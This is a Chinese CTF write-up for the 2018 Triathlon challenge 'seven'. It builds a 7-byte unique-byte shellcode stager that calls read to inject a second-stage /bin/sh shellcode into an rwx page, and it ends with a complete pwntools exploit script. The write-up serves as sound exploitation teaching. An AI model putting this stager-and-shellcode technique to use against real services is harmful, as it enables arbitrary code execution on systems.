• 铁人三项(第五赛区)_2018_seven


    铁人三项(第五赛区)_2018_seven

    先来看看保护

    image-20200516110216445

    保护全开,IDA分析

    image-20200516110155882

    首先申请了mmap两个随机地址的空间,一个为rwx,一个为rw

    image-20200516110416654

    读入的都shellcode长度小于等于7,且这7个字符不能重复。

    然后把一个叫initial的东西复制到rwx_page上,再把我们写的shellcode拼接到其后面

    image-20200516110716490

    可能有些不太准,等会儿gdb调试的时候再看看

    image-20200516110908688

    gdb调试进入执行的shellcode,分析一波

    image-20200516111108209

    可以看到这是刚刚的那个initial,执行完了是这样的

    image-20200516111208054

    RSP指向一片空白的区域。看到RAX,rdi为0,这里我想到了shellcode注入。我们要尽力构造sys_read来注入全部的shellcode,但是我们输入shellcode有限制。

    这里我在调试的时候突然发现有的时候RSP跟RIP很近。因为RSP对应rw_page而 RIP:对应rwx_page,

    这两块地址是随机的,所以存在他们离的很近的可能性。下图是我截到的图。

    image-20200516111924990

    执行完initial的情况

    image-20200516111947976

    好了我们现在只要做2件事。

    1. 构造read(0,RSP,len) 这里len必须要大一点
    push rsp
    pop rsi
    mov dx,si
    syscall
    

    image-20200516113147854

    1. 注入我们的shellcode,覆写syscall之后的指令
    'A'*0xb37 + asm(shellcraft.sh())
    

    毕竟这也是随机的,多试几次就行了。

    exp:

    from pwn import *
    #context.log_level = 'debug'
    context(os='linux',arch='amd64',endian='little')
    p = process('./2018_seven')
    #gdb.attach(p,'b *0x555555554d0b')
    shellcode = asm('push rsp;pop rsi;mov dx,si;syscall')
    p.sendafter('shellcode:
    ',shellcode)
    sleep(1)
    p.sendline('A'*0xb37+ asm(shellcraft.sh()))
    
    p.interactive()
    
  • 相关阅读:
    asp.net mvc3开发系统点滴之一
    C# winform 广告机 网络多媒体发布系统桌面版之一
    asp.net mvc3开发系统点滴之三
    js面向对象开发互联网机顶盒应用头端之五
    asp.net mvc3开发系统点滴之二
    【转载】指针空间的申请和释放(C)
    [转载]C 指针
    hoj2036
    hoj1142
    hoj1878
  • 原文地址:https://www.cnblogs.com/Rookle/p/12899656.html
Copyright © 2020-2023  润新知